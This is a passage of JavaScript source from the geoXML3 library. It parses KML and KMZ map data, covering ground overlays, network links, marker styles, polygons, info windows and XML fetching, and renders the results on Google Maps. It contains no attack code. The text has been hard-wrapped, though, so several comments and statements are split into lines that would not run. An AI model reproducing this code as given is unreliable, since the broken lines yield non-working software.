          doc.bounds = doc.bounds || new google.maps.LatLngBounds();
          if (poly) doc.bounds.union(poly.bounds);
          if (line) doc.bounds.union(line.bounds);
        }

      } // placemark loop

      if (!!doc.reload && !!doc.markers) {
        for (i = doc.markers.length - 1; i >= 0 ; i--) {
          if (!doc.markers[i].active) {
            if (!!doc.markers[i].infoWindow) {
              doc.markers[i].infoWindow.close();
            }
            doc.markers[i].setMap(null);
            doc.markers.splice(i, 1);
          }
        }
      }

      var overlayCreateFunc = parserOptions.createOverlay || createOverlay;
      // Parse ground overlays
      if (!!doc.reload && !!doc.groundoverlays) {
        for (i = 0; i < doc.groundoverlays.length; i++) {
          doc.groundoverlays[i].active = false;
        }
      }

      if (!!doc) {
        doc.groundoverlays = doc.groundoverlays || [];
      }
      // doc.groundoverlays =[];
      var groundOverlay, color, transparency, overlay;
      var groundNodes = getElementsByTagName(responseXML,
'GroundOverlay');
      for (i = 0; i < groundNodes.length; i++) {
        node = groundNodes[i];

        // Detect images buried in KMZ files (and use a base64 encoded URL)
        var gnUrl = cleanURL( doc.baseDir,
nodeValue(getElementsByTagName(node, 'href')[0]) );
        if (kmzMetaData[gnUrl]) gnUrl = kmzMetaData[gnUrl].dataUrl;

        // Init the ground overlay object
        groundOverlay = {
          name:        nodeValue(getElementsByTagName(node,
'name')[0]),
          description: nodeValue(getElementsByTagName(node,
'description')[0]),
          icon: { href: gnUrl },
          latLonBox: {
            north: parseFloat(nodeValue(getElementsByTagName(node,
'north')[0])),
            east:  parseFloat(nodeValue(getElementsByTagName(node,
'east')[0])),
            south: parseFloat(nodeValue(getElementsByTagName(node,
'south')[0])),
            west:  parseFloat(nodeValue(getElementsByTagName(node,
'west')[0]))
          },
          rotation: -1 * parseFloat(nodeValue(getElementsByTagName(node,
'rotation')[0]))
        };
        if (!!google.maps) {
          doc.bounds = doc.bounds || new google.maps.LatLngBounds();
          doc.bounds.union(new google.maps.LatLngBounds(
            new google.maps.LatLng(groundOverlay.latLonBox.south,
groundOverlay.latLonBox.west),
            new google.maps.LatLng(groundOverlay.latLonBox.north,
groundOverlay.latLonBox.east)
          ));
        }

        // Opacity is encoded in the color node
        var colorNode = getElementsByTagName(node, 'color');
        if (colorNode && colorNode.length > 0) {
          groundOverlay.opacity =
geoXML3.getOpacity(nodeValue(colorNode[0]));
        } else {
          groundOverlay.opacity = 1.0;  // KML default
        }

        doc.groundoverlays.push(groundOverlay);
        // Check to see if this overlay was created on a previous load of
this document
        var found = false;
        if (!!doc) {
          doc.groundoverlays = doc.groundoverlays || [];
          if (doc.reload) {
            overlayBounds = new google.maps.LatLngBounds(
              new google.maps.LatLng(groundOverlay.latLonBox.south,
groundOverlay.latLonBox.west),
              new google.maps.LatLng(groundOverlay.latLonBox.north,
groundOverlay.latLonBox.east)
            );
            var overlays = doc.groundoverlays;
            for (i = overlays.length; i--;) {
              if ((overlays[i].bounds().equals(overlayBounds)) &&
                  (overlays.url_ === groundOverlay.icon.href)) {
                found = overlays[i].active = true;
                break;
              }
            }
          }

          if (!found) {
            overlay = overlayCreateFunc(groundOverlay, doc);
            overlay.active = true;
          }
        }
        if (!!doc.reload && !!doc.groundoverlays &&
!!doc.groundoverlays.length) {
          var overlays = doc.groundoverlays;
          for (i = overlays.length; i--;) {
            if (!overlays[i].active) {
              overlays[i].remove();
              overlays.splice(i, 1);
            }
          }
          doc.groundoverlays = overlays;
        }
      }

      // Parse network links
      var networkLink;
      var docPath = document.location.pathname.split('/');
      docPath = docPath.splice(0, docPath.length - 1).join('/');
      var linkNodes = getElementsByTagName(responseXML,
'NetworkLink');
      for (i = 0; i < linkNodes.length; i++) {
        node = linkNodes[i];

        // Init the network link object
        networkLink = {
          name: nodeValue(getElementsByTagName(node, 'name')[0]),
          link: {
            href:        nodeValue(getElementsByTagName(node,
'href')[0]),
            refreshMode: nodeValue(getElementsByTagName(node,
'refreshMode')[0])
          }
        };

        // Establish the specific refresh mode
        if (!networkLink.link.refreshMode) {
          networkLink.link.refreshMode = 'onChange';
        }
        if (networkLink.link.refreshMode === 'onInterval') {
          networkLink.link.refreshInterval =
parseFloat(nodeValue(getElementsByTagName(node,
'refreshInterval')[0]));
          if (isNaN(networkLink.link.refreshInterval)) {
            networkLink.link.refreshInterval = 0;
          }
        } else if (networkLink.link.refreshMode === 'onChange') {
          networkLink.link.viewRefreshMode =
nodeValue(getElementsByTagName(node, 'viewRefreshMode')[0]);
          if (!networkLink.link.viewRefreshMode) {
            networkLink.link.viewRefreshMode = 'never';
          }
          if (networkLink.link.viewRefreshMode === 'onStop') {
            networkLink.link.viewRefreshTime =
nodeValue(getElementsByTagName(node, 'refreshMode')[0]);
            networkLink.link.viewFormat =     
nodeValue(getElementsByTagName(node, 'refreshMode')[0]);
            if (!networkLink.link.viewFormat) {
              networkLink.link.viewFormat =
'BBOX=[bboxWest],[bboxSouth],[bboxEast],[bboxNorth]';
            }
          }
        }

        if (!/^[\/|http]/.test(networkLink.link.href)) {
          // Fully-qualify the HREF
          networkLink.link.href = docPath + '/' +
networkLink.link.href;
        }

        // Apply the link
        if ((networkLink.link.refreshMode === 'onInterval')
&&
            (networkLink.link.refreshInterval > 0)) {
          // Reload at regular intervals
          setInterval(parserName + '.parse("' +
networkLink.link.href + '")',
                      1000 * networkLink.link.refreshInterval);
        } else if (networkLink.link.refreshMode === 'onChange') {
          if (networkLink.link.viewRefreshMode === 'never') {
            // Load the link just once
            doc.internals.parser.parse(networkLink.link.href,
doc.internals.docSet);
          } else if (networkLink.link.viewRefreshMode ===
'onStop') {
            // Reload when the map view changes

          }
        }
      }
    }

    if (!!doc.bounds) {
      doc.internals.bounds = doc.internals.bounds || new
google.maps.LatLngBounds();
      doc.internals.bounds.union(doc.bounds);
    }
    if (!!doc.markers || !!doc.groundoverlays || !!doc.gpolylines ||
!!doc.gpolygons) {
      doc.internals.parseOnly = false;
    }

    if (!doc.internals.parseOnly) {
      // geoXML3 is not being used only as a real-time parser, so keep the
processed documents around
      if (doc.baseUrl){ // handle case from parseKmlString (no doc.baseUrl)
        if (!docsByUrl[doc.baseUrl]) {
          docs.push(doc);
          docsByUrl[doc.baseUrl] = doc;
        } else {
          // internal replacement, which keeps the same memory ref loc in
docs and docsByUrl
          for (var i in docsByUrl[doc.baseUrl]) {
            docsByUrl[doc.baseUrl][i] = doc[i];
          }
        }
      }	  
    }

    doc.internals.remaining--;
    if (doc.internals.remaining === 0) {
      // We're done processing this set of KML documents
      // Options that get invoked after parsing completes
      if (parserOptions.zoom && !!doc.internals.bounds &&
	  !doc.internals.bounds.isEmpty() && !!parserOptions.map) {
        parserOptions.map.fitBounds(doc.internals.bounds);
      }
      if (parserOptions.afterParse) {
        parserOptions.afterParse(doc.internals.docSet);
      }
      google.maps.event.trigger(doc.internals.parser, 'parsed'); 
 
    }
  };

  var kmlColor = function (kmlIn, colorMode) {
    var kmlColor = {};
    kmlIn = kmlIn || 'ffffffff';  // white (KML 2.2 default)

    var aa = kmlIn.substr(0,2);
    var bb = kmlIn.substr(2,2);
    var gg = kmlIn.substr(4,2);
    var rr = kmlIn.substr(6,2);

    kmlColor.opacity = parseInt(aa, 16) / 256;
    kmlColor.color   = (colorMode === 'random') ? randomColor(rr,
gg, bb) : '#' + rr + gg + bb;
    return kmlColor;
  };

  // Implemented per KML 2.2 <ColorStyle> specs
  var randomColor = function(rr, gg, bb) {
    var col = { rr: rr, gg: gg, bb: bb };
    for (var k in col) {
      var v = col[k];
      if (v == null) v = 'ff';

      // RGB values are limiters for random numbers (ie: 7f would be a
random value between 0 and 7f)
      v = Math.round(Math.random() * parseInt(rr, 16)).toString(16);
      if (v.length === 1) v = '0' + v;
      col[k] = v;
    }

    return '#' + col.rr + col.gg + col.bb;
  };

  var processStyleID = function (style) {
    var icon = style.icon;
    if (!icon || !icon.href) return;

    if (icon.img && !icon.img.complete && (icon.dim.w <
0) && (icon.dim.h < 0) ) {
      // we're still waiting on the image loading (probably because
we've been blocking since the declaration)
      // so, let's queue this function on the onload stack
      icon.markerBacklog = [];
      icon.img.onload = function() {
        if (icon.dim.w < 0 || icon.dim.h < 0) {
          icon.dim.w = this.width;
          icon.dim.h = this.height;
        } else {
          icon.dim.th = this.height;
        }
        processStyleID(style);

        // we will undoubtedly get some createMarker queuing, so set this
up in advance
        for (var i = 0; i < icon.markerBacklog.length; i++) {
          var p = icon.markerBacklog[i][0];
          var d = icon.markerBacklog[i][1];
          createMarker(p, d);
          if (p.marker) p.marker.active = true;
        }
        delete icon.markerBacklog;
      };
      return;
    }
    else { //if (icon.dim.w < 0 || icon.dim.h < 0) {
      if (icon.img && icon.img.complete) {
        // sometimes the file is already cached and it never calls onLoad
        if (icon.dim.w < 0 || icon.dim.h < 0) {
        icon.dim.w = icon.img.width;
        icon.dim.h = icon.img.height;
        } else {
          icon.dim.th = icon.img.height;
        }
      }
      else {
        // settle for a default of 32x32
        icon.dim.whGuess = true;
        icon.dim.w = 32;
        icon.dim.h = 32;
        icon.dim.th = 32;
      }
    }

    // pre-scaled variables
    var rnd = Math.round;
    var y = icon.dim.y;
    if (typeof icon.dim.th !== 'undefined' && icon.dim.th
!= icon.dim.h) { // palette - reverse kml y for maps
      y = Math.abs(y - (icon.dim.th - icon.dim.h));
    }

    var scaled = {
      x: icon.dim.x     * icon.scale,
      y: y * icon.scale,
      w: icon.dim.w     * icon.scale,
      h: icon.dim.h     * icon.scale,
      aX:icon.hotSpot.x * icon.scale,
      aY:icon.hotSpot.y * icon.scale,
      iW:(icon.img ? icon.img.width  : icon.dim.w) * icon.scale,
      iH:(icon.img ? icon.img.height : icon.dim.h) * icon.scale
    };

    // Figure out the anchor spot
    // Origins, anchor positions and coordinates of the marker increase in
the X direction to the right and in
    // the Y direction down.
    var aX, aY;
    switch (icon.hotSpot.xunits) {
      case 'fraction':    aX = rnd(scaled.aX * icon.dim.w);
break;
      case 'insetPixels': aX = rnd(icon.dim.w * icon.scale -
scaled.aX); break;
      default:            aX = rnd(scaled.aX); break; // already pixels
    }
    switch(icon.hotSpot.yunits) {
      case 'fraction':    aY = scaled.h - rnd(icon.dim.h *
scaled.aY);   break;
      case 'insetPixels': aY = rnd(scaled.aY); break; 
      default:            aY = rnd(icon.dim.h * icon.scale - scaled.aY);
break;
    }
    var iconAnchor = new google.maps.Point(aX, aY);

    // Sizes
    // (NOTE: Scale is applied to entire image, not just the section of the
icon palette.)
    var iconSize   = icon.dim.whGuess  ? null : new
google.maps.Size(rnd(scaled.w),  rnd(scaled.h));
    var iconScale  = icon.scale == 1.0 ? null :
                     icon.dim.whGuess  ?        new
google.maps.Size(rnd(scaled.w),  rnd(scaled.h))
                                              : new
google.maps.Size(rnd(scaled.iW), rnd(scaled.iH));
    var iconOrigin = new google.maps.Point(rnd(scaled.x), rnd(scaled.y));

    // Detect images buried in KMZ files (and use a base64 encoded URL)
    if (kmzMetaData[icon.url]) icon.url = kmzMetaData[icon.url].dataUrl;

    // Init the style object with the KML icon
    icon.marker = {
      url: icon.url,        // url
      size: iconSize,       // size
      origin: iconOrigin,   // origin
      anchor: iconAnchor,   // anchor
      scaledSize: iconScale // scaledSize
    };

    // Look for a predictable shadow
    var stdRegEx =
/\/(red|blue|green|yellow|lightblue|purple|pink|orange)(-dot)?\.png/;
    var shadowSize = new google.maps.Size(59, 32);
    var shadowPoint = new google.maps.Point(16, 32);
    if (stdRegEx.test(icon.href)) {
      // A standard GMap-style marker icon
	icon.shadow = {
	  url:
'http://maps.google.com/mapfiles/ms/micons/msmarker.shadow.png',
// url
          size: shadowSize,    // size
          origin: null,        // origin
	  anchor: shadowPoint, // anchor
          scaledSize: shadowSize // scaledSize
	};
    } else if (icon.href.indexOf('-pushpin.png') > -1) {
      // Pushpin marker icon
      icon.shadow = {
	url:
'http://maps.google.com/mapfiles/ms/micons/pushpin_shadow.png', 
// url
        size: shadowSize,    // size
        origin: null,        // origin
        anchor: shadowPoint, // anchor
        scaledSize: shadowSize // scaledSize
      };
    } /* else {
      // Other MyMaps KML standard icon
      icon.shadow = new google.maps.MarkerImage(
        icon.href.replace('.png', '.shadow.png'),      
                 // url
        shadowSize,                                                      //
size
        null,                                                            //
origin
        anchorPoint,                                                     //
anchor
        shadowSize                                                       //
scaledSize
      );
    } */
  }

  var processStyles = function (doc) {
    for (var styleID in doc.styles) {
      processStyleID(doc.styles[styleID]);
    }
  };

  var createMarker = function (placemark, doc) {
    // create a Marker to the map from a placemark KML object
    var icon = placemark.style.icon;

    if ( !icon.marker && icon.img ) {
      // yay, single point of failure is holding up multiple markers...
      icon.markerBacklog = icon.markerBacklog || [];
      icon.markerBacklog.push([placemark, doc]);
      return;
    }

    // Load basic marker properties
    var markerOptions = geoXML3.combineOptions(parserOptions.markerOptions,
{
      map:      parserOptions.map,
      position: new google.maps.LatLng(placemark.Point.coordinates[0].lat,
placemark.Point.coordinates[0].lng),
      title:    placemark.name,
      zIndex:   Math.round(placemark.Point.coordinates[0].lat *
-100000)<<5,
      icon:     icon.marker,
      shadow:   icon.shadow,
      flat:     !icon.shadow,
      visible:  placemark.visibility
    });

    // Create the marker on the map
    var marker = new google.maps.Marker(markerOptions);
    if (!!doc) doc.markers.push(marker);

    // Set up and create the infowindow if it is not suppressed
    createInfoWindow(placemark, doc, marker);
    placemark.marker = marker;
    return marker;
  };

  var createOverlay = function (groundOverlay, doc) {
    // Add a ProjectedOverlay to the map from a groundOverlay KML object

    if (!window.ProjectedOverlay) {
      throw 'geoXML3 error: ProjectedOverlay not found while rendering
GroundOverlay from KML';
    }

    var bounds = new google.maps.LatLngBounds(
        new google.maps.LatLng(groundOverlay.latLonBox.south,
groundOverlay.latLonBox.west),
        new google.maps.LatLng(groundOverlay.latLonBox.north,
groundOverlay.latLonBox.east)
    );
    var overlayOptions =
geoXML3.combineOptions(parserOptions.overlayOptions, {
      percentOpacity: groundOverlay.opacity*100,
      rotation: groundOverlay.rotation
    });
    var overlay = new ProjectedOverlay(parserOptions.map,
groundOverlay.icon.href, bounds, overlayOptions);

    if (!!doc) {
      doc.ggroundoverlays = doc.ggroundoverlays || [];
      doc.ggroundoverlays.push(overlay);
    }

    return overlay;
  };

  // Create Polyline
  var createPolyline = function(placemark, doc) {
    var paths = [];
    var bounds = new google.maps.LatLngBounds();
    if (placemark.LineString) {
      for (var j=0; j<placemark.LineString.length; j++) {
        var path = [];
        var coords = placemark.LineString[j].coordinates;
        for (var i=0;i<coords.length;i++) {
          var pt = new google.maps.LatLng(coords[i].lat, coords[i].lng);
          path.push(pt);
          bounds.extend(pt);
        }
        paths.push(path);
      }
    } else if (placemark.Track) {
      for (var j=0; j<placemark.Track.length; j++) {
        var path = [];
        var coords = placemark.Track[j].coordinates;
        for (var i=0;i<coords.length;i++) {
          var pt = new google.maps.LatLng(coords[i].lat, coords[i].lng);
          path.push(pt);
          bounds.extend(pt);
        }
        paths.push(path);
      }
    }
    // point to open the infowindow if triggered
    var point = paths[0][Math.floor(path.length/2)];
    // Load basic polyline properties
    var kmlStrokeColor = kmlColor(placemark.style.line.color,
placemark.style.line.colorMode);
    var polyOptions = geoXML3.combineOptions(parserOptions.polylineOptions,
{
      map:           parserOptions.map,
      path:          path,
      strokeColor:   kmlStrokeColor.color,
      strokeWeight:  placemark.style.line.width,
      strokeOpacity: kmlStrokeColor.opacity,
      title:         placemark.name,
      visible:       placemark.visibility
    });
    if (paths.length > 1) {
      polyOptions.paths = paths;
      var p = new MultiGeometry(polyOptions);
    } else {
      polyOptions.path = paths[0];
      var p = new google.maps.Polyline(polyOptions);
    }
    p.bounds = bounds;

    // setup and create the infoWindow if it is not suppressed
    createInfoWindow(placemark, doc, p);
    if (!!doc) doc.gpolylines.push(p);
    placemark.polyline = p;
    return p;
  }

  // Create Polygon
  var createPolygon = function(placemark, doc) {
    var bounds = new google.maps.LatLngBounds();
    var pathsLength = 0;
    var paths = [];
    for (var
polygonPart=0;polygonPart<placemark.Polygon.length;polygonPart++) {
      for (var j=0;
j<placemark.Polygon[polygonPart].outerBoundaryIs.length; j++) {
        var coords =
placemark.Polygon[polygonPart].outerBoundaryIs[j].coordinates;
        var path = [];
        for (var i=0;i<coords.length;i++) {
          var pt = new google.maps.LatLng(coords[i].lat, coords[i].lng);
          path.push(pt);
          bounds.extend(pt);
        }
        paths.push(path);
        pathsLength += path.length;
      }
      for (var j=0;
j<placemark.Polygon[polygonPart].innerBoundaryIs.length; j++) {
        var coords =
placemark.Polygon[polygonPart].innerBoundaryIs[j].coordinates;
        var path = [];
        for (var i=0;i<coords.length;i++) {
          var pt = new google.maps.LatLng(coords[i].lat, coords[i].lng);
          path.push(pt);
          bounds.extend(pt);
        }
        paths.push(path);
        pathsLength += path.length;
      }
    }

    // Load basic polygon properties
    var kmlStrokeColor = kmlColor(placemark.style.line.color,
placemark.style.line.colorMode);
    var kmlFillColor = kmlColor(placemark.style.poly.color,
placemark.style.poly.colorMode);
    if (!placemark.style.poly.fill) kmlFillColor.opacity = 0.0;
    var strokeWeight = placemark.style.line.width;
    if (!placemark.style.poly.outline) {
      strokeWeight = 0;
      kmlStrokeColor.opacity = 0.0;
    }
    var polyOptions = geoXML3.combineOptions(parserOptions.polygonOptions,
{
      map:           parserOptions.map,
      paths:         paths,
      title:         placemark.name,
      strokeColor:   kmlStrokeColor.color,
      strokeWeight:  strokeWeight,
      strokeOpacity: kmlStrokeColor.opacity,
      fillColor:     kmlFillColor.color,
      fillOpacity:   kmlFillColor.opacity,
      visible:       placemark.visibility
    });
    var p = new google.maps.Polygon(polyOptions);
    p.bounds = bounds;

    createInfoWindow(placemark, doc, p);
    if (!!doc) doc.gpolygons.push(p);
    placemark.polygon = p;
    return p;
  }

  var createInfoWindow = function(placemark, doc, gObj) {
    var bStyle = placemark.style.balloon;
    var vars = placemark.vars;

    if (!placemark.balloonVisibility || bStyle.displayMode ===
'hide') return;

    // define geDirections 
    if (placemark.latlng && 
        (!parserOptions.suppressDirections ||
!parserOptions.suppressDirections)) {
      vars.directions.push('sll=' +
placemark.latlng.toUrlValue());

      var url = 'http://maps.google.com/maps?' +
vars.directions.join('&');
      var address = encodeURIComponent( vars.val.address ||
placemark.latlng.toUrlValue() ).replace(/\%20/g, '+');

      vars.val.geDirections = '<a href="' + url +
'&daddr=' + address + '" target=_blank>To
Here</a> - <a href="' + url + '&saddr=' +
address + '" target=_blank>From Here</a>';
    }
    else vars.val.geDirections = '';

    // add in the variables
    var iwText = bStyle.text.replace(/\$\[(\w+(\/displayName)?)\]/g,
function(txt, n, dn) { return dn ? vars.display[n] : vars.val[n]; });
    var classTxt = 'geoxml3_infowindow geoxml3_style_' +
placemark.styleID;

    // color styles
    var styleArr = [];
    if (bStyle.bgColor   != 'ffffffff')
styleArr.push('background: ' + kmlColor(bStyle.bgColor  ).color +
';');
    if (bStyle.textColor != 'ff000000')
styleArr.push('color: '      + kmlColor(bStyle.textColor).color +
';');
    var styleProp = styleArr.length ? ' style="' +
styleArr.join(' ') + '"' : '';

    var infoWindowOptions =
geoXML3.combineOptions(parserOptions.infoWindowOptions, {
      content: '<div class="' + classTxt +
'"' + styleProp + '>' + iwText +
'</div>',
      pixelOffset: new google.maps.Size(0, 2)
    });

    gObj.infoWindow = parserOptions.infoWindow || new
google.maps.InfoWindow(infoWindowOptions);
    gObj.infoWindowOptions = infoWindowOptions;

    // Info Window-opening event handler
    google.maps.event.addListener(gObj, 'click', function(e) {
      var iW = this.infoWindow;
      iW.close();
      iW.setOptions(this.infoWindowOptions);

      if      (e && e.latLng) iW.setPosition(e.latLng);
      else if (this.bounds)   iW.setPosition(this.bounds.getCenter());

      iW.setContent("<div
id='geoxml3_infowindow'>"+iW.getContent()+"</div>");
      google.maps.event.addListenerOnce(iW, "domready",
function() {
        var node = document.getElementById('geoxml3_infowindow');
        var imgArray = node.getElementsByTagName('img');
        for (var i = 0; i < imgArray.length; i++) 
        {
          var imgUrlIE = imgArray[i].getAttribute("src");
          var imgUrl  = cleanURL(doc.baseDir, imgUrlIE);

          if (kmzMetaData[imgUrl]) {
             imgArray[i].src = kmzMetaData[imgUrl].dataUrl;
          } else if (kmzMetaData[imgUrlIE]) {
             imgArray[i].src = kmzMetaData[imgUrlIE].dataUrl;
          }
        }
      });
      iW.open(this.map, this.bounds ? null : this);
    });

  }

  return {
    // Expose some properties and methods

    options:     parserOptions,
    docs:        docs,
    docsByUrl:   docsByUrl,
    kmzMetaData: kmzMetaData,

    parse:          parse,
    render:         render,
    parseKmlString: parseKmlString,
    hideDocument:   hideDocument,
    showDocument:   showDocument,
    processStyles:  processStyles,
    createMarker:   createMarker,
    createOverlay:  createOverlay,
    createPolyline: createPolyline,
    createPolygon:  createPolygon
  };
};
// End of KML Parser

// Helper objects and functions
geoXML3.getOpacity = function (kmlColor) {
  // Extract opacity encoded in a KML color value. Returns a number between
0 and 1.
  if (!!kmlColor &&
      (kmlColor !== '') &&
      (kmlColor.length == 8)) {
    var transparency = parseInt(kmlColor.substr(0, 2), 16);
    return transparency / 255;
  } else {
    return 1;
  }
};

// Log a message to the debugging console, if one exists
geoXML3.log = function(msg) {
  if (!!window.console) {
    console.log(msg);
  } else { alert("log:"+msg); }
};

/**
 * Creates a new parserOptions object.
 * @class GeoXML3 parser options.
 * @param {Object} overrides Any options you want to declare outside of the
defaults should be included here.
 * @property {google.maps.Map} map The API map on which geo objects should
be rendered.
 * @property {google.maps.MarkerOptions} markerOptions If the parser is
adding Markers to the map itself, any options specified here will be
applied to them.
 * @property {google.maps.InfoWindowOptions} infoWindowOptions If the
parser is adding Markers to the map itself, any options specified here will
be applied to their attached InfoWindows.
 * @property {ProjectedOverlay.options} overlayOptions If the parser is
adding ProjectedOverlays to the map itself, any options specified here will
be applied to them.
 */
geoXML3.parserOptions = function (overrides) {
  this.map                 = null,
  /** If true, the parser will automatically move the map to a best-fit of
the geodata after parsing of a KML document completes.
   * @type Boolean
   * @default true
   */
  this.zoom                = true,
  /**#@+ @type Boolean
   *     @default false */
  /** If true, only a single Marker created by the parser will be able to
have its InfoWindow open at once (simulating the behavior of GMaps API v2).
*/
  this.singleInfoWindow    = false,
  /** If true, suppresses the rendering of info windows. */
  this.suppressInfoWindows = false,
  /**
   * Control whether to process styles now or later.
   *
   * <p>By default, the parser only processes KML
&lt;Style&gt; elements into their GMaps equivalents
   * if it will be creating its own Markers (the createMarker option is
null). Setting this option
   * to true will force such processing to happen anyway, useful if
you're going to be calling parser.createMarker
   * yourself later. OTOH, leaving this option false removes runtime
dependency on the GMaps API, enabling
   * the use of geoXML3 as a standalone KML parser.</p>
   */
  this.processStyles       = false,
  /**#@-*/

  this.markerOptions       = {},
  this.infoWindowOptions   = {},
  this.overlayOptions      = {},

  /**#@+ @event */
  /** This function will be called when parsing of a KML document is
complete.
   * @param {geoXML3.parser#docs} doc Parsed KML data. */
  this.afterParse          = null,
  /** This function will be called when parsing of a KML document is
complete.
   * @param {geoXML3.parser#docs} doc Parsed KML data. */
  this.failedParse         = null,
  /**
   * If supplied, this function will be called once for each marker
<Placemark> in the KML document, instead of the parser adding its own
Marker to the map.
   * @param {geoXML3.parser.render#placemark} placemark Placemark object.
   * @param {geoXML3.parser#docs} doc Parsed KML data.
   */
  this.createMarker        = null,
  /**
   * If supplied, this function will be called once for each
<GroundOverlay> in the KML document, instead of the parser adding its
own ProjectedOverlay to the map.
   * @param {geoXML3.parser.render#groundOverlay} groundOverlay
GroundOverlay object.
   * @param {geoXML3.parser#docs} doc Parsed KML data.
   */
  this.createOverlay       = null
  /**#@-*/

  if (overrides) {
    for (var prop in overrides) {
      if (overrides.hasOwnProperty(prop)) this[prop] = overrides[prop];
    }
  }
  return this;
};

/**
 * Combine two options objects: a set of default values and a set of
override values.
 *
 * @deprecated This has been replaced with {@link
geoXML3.parserOptions#combineOptions}.
 * @param {geoXML3.parserOptions|Object} overrides Override values.
 * @param {geoXML3.parserOptions|Object} defaults Default values.
 * @return {geoXML3.parserOptions} Combined result.
 */
geoXML3.combineOptions = function (overrides, defaults) {
  var result = {};
  if (!!overrides) {
    for (var prop in overrides) {
      if (overrides.hasOwnProperty(prop))                             
result[prop] = overrides[prop];
    }
  }
  if (!!defaults) {
    for (prop in defaults) {
      if (defaults.hasOwnProperty(prop) && result[prop] ===
undefined) result[prop] = defaults[prop];
    }
  }
  return result;
};

/**
 * Combine two options objects: a set of default values and a set of
override values.
 *
 * @function
 * @param {geoXML3.parserOptions|Object} overrides Override values.
 * @param {geoXML3.parserOptions|Object} defaults Default values.
 * @return {geoXML3.parserOptions} Combined result.
 */
geoXML3.parserOptions.prototype.combineOptions = geoXML3.combineOptions;

// Retrieve an XML document from url and pass it to callback as a DOM
document
geoXML3.fetchers = [];

/**
 * Parses a XML string.
 *
 * <p>Parses the given XML string and returns the parsed document in
a
 * DOM data structure. This function will return an empty DOM node if
 * XML parsing is not supported in this browser.</p>
 *
 * @param {String} str XML string.
 * @return {Element|Document} DOM.
 */
geoXML3.xmlParse = function (str) {
  if ((typeof ActiveXObject != 'undefined') ||
("ActiveXObject" in window)) {
    var doc = new ActiveXObject('Microsoft.XMLDOM');
    doc.loadXML(str);
    return doc;
  }

  if (typeof DOMParser != 'undefined') {
    return (new DOMParser()).parseFromString(str, 'text/xml');
  }

  return document.createElement('div', null);
}

/**
 * Checks for XML parse error.
 *
 * @param {xmlDOM} XML DOM.
 * @return boolean.
 */
// from
http://stackoverflow.com/questions/11563554/how-do-i-detect-xml-parsing-errors-when-using-javascripts-domparser-in-a-cross
geoXML3.isParseError = function(parsedDocument) {
    if ((typeof ActiveXObject != 'undefined') ||
("ActiveXObject" in window))
	return false;
    // parser and parsererrorNS could be cached on startup for efficiency
    var p = new DOMParser(),
        errorneousParse = p.parseFromString('<',
'text/xml'),
        parsererrorNS =
errorneousParse.getElementsByTagName("parsererror")[0].namespaceURI;

    if (parsererrorNS === 'http://www.w3.org/1999/xhtml') {
        // In PhantomJS the parseerror element doesn't seem to have a
special namespace, so we are just guessing here :(
        return
parsedDocument.getElementsByTagName("parsererror").length > 0;
    }

    return parsedDocument.getElementsByTagNameNS(parsererrorNS,
'parsererror').length > 0;
};

/**
 * Fetches a XML document.
 *
 * <p>Fetches/parses the given XML URL and passes the parsed document
(in a
 * DOM data structure) to the given callback.  Documents are downloaded
 * and parsed asynchronously.</p>
 *
 * @param {String} url URL of XML document.  Must be uncompressed XML only.
 * @param {Function(Document)} callback Function to call when the document
is processed.
 */
geoXML3.fetchXML = function (url, callback) {
  function timeoutHandler() { callback(); };

  var xhrFetcher = new Object();
  if      (!!geoXML3.fetchers.length) xhrFetcher = geoXML3.fetchers.pop();
  else if (!!window.XMLHttpRequest)   xhrFetcher.fetcher = new
window.XMLHttpRequest();  // Most browsers
  else if (!!window.ActiveXObject) {                                       
             // Some IE
    // the many versions of IE's XML fetchers
    var AXOs = [
      'MSXML2.XMLHTTP.6.0',
      'MSXML2.XMLHTTP.5.0',
      'MSXML2.XMLHTTP.4.0',
      'MSXML2.XMLHTTP.3.0',
      'MSXML2.XMLHTTP',
      'Microsoft.XMLHTTP',
      'MSXML.XMLHTTP'
    ];
    for (var i = 0; i < AXOs.length; i++) {
      try      { xhrFetcher.fetcher = new ActiveXObject(AXOs[i]); break; }
      catch(e) { continue; }
    }
    if (!xhrFetcher.fetcher) {
      geoXML3.log('Unable to create XHR object');
      callback(null);
      return null;
    }
  }

  xhrFetcher.fetcher.open('GET', url, true);
  if (!!xhrFetcher.fetcher.overrideMimeType)
xhrFetcher.fetcher.overrideMimeType('text/xml');
  xhrFetcher.fetcher.onreadystatechange = function () {
    if (xhrFetcher.fetcher.readyState === 4) {
      // Retrieval complete
      if (!!xhrFetcher.xhrtimeout) clearTimeout(xhrFetcher.xhrtimeout);
      if (xhrFetcher.fetcher.status >= 400) {
        geoXML3.log('HTTP error ' + xhrFetcher.fetcher.status +
' retrieving ' + url);
        callback();
      }
      // Returned successfully
      else {
       if (xhrFetcher.fetcher.responseXML) {
        // Sometimes IE will get the data, but won't bother loading it
as an XML doc
        var xml = xhrFetcher.fetcher.responseXML;
        if (xml && !xml.documentElement &&
!xml.ownerElement) {
         xml.loadXML(xhrFetcher.fetcher.responseText);
        }
       } else {// handle valid xml sent with wrong MIME type 
        xml=geoXML3.xmlParse(xhrFetcher.fetcher.responseText);
       }
       // handle parse errors
       if (xml.parseError && (xml.parseError.errorCode != 0)) {
        geoXML3.log("XML parse error
"+xml.parseError.errorCode+",
"+xml.parseError.reason+"\nLine:"+xml.parseError.line+",
Position:"+xml.parseError.linepos+",
srcText:"+xml.parseError.srcText);
        xml = "failed parse"
       } else if (geoXML3.isParseError(xml)) {
        geoXML3.log("XML parse error");
        xml = "failed parse"
       }
       callback(xml);          
      }
      // We're done with this fetcher object
      geoXML3.fetchers.push(xhrFetcher);
    }
  };

  xhrFetcher.xhrtimeout = setTimeout(timeoutHandler, 60000);
  xhrFetcher.fetcher.send(null);
  return null;
};

var IEversion = function() {
  //
http://msdn.microsoft.com/workshop/author/dhtml/overview/browserdetection.asp
  // Returns the version of Internet Explorer or a -1
  // (indicating the use of another browser).
  var rv = -1; // Return value assumes failure
  if (navigator.appName == 'Microsoft Internet Explorer') {
    var ua = navigator.userAgent;
    var re = new RegExp("MSIE ([0-9]{1,}[\.0-9]{0,})");
    if (re.exec(ua) != null) {
      rv = parseFloat( RegExp.$1 );
    }
  }
  return rv;
};

/**
 * Fetches a KMZ document.
 *
 * <p>Fetches/parses the given ZIP URL, parses each image file, and
passes
 * the parsed KML document to the given callback.  Documents are downloaded
 * and parsed asynchronously, though the KML file is always passed after
the
 * images have been processed, in case the callback requires the image
data.</p>
 *
 * @requires ZipFile.complete.js
 * @param {String} url URL of KMZ document.  Must be a valid KMZ/ZIP
archive.
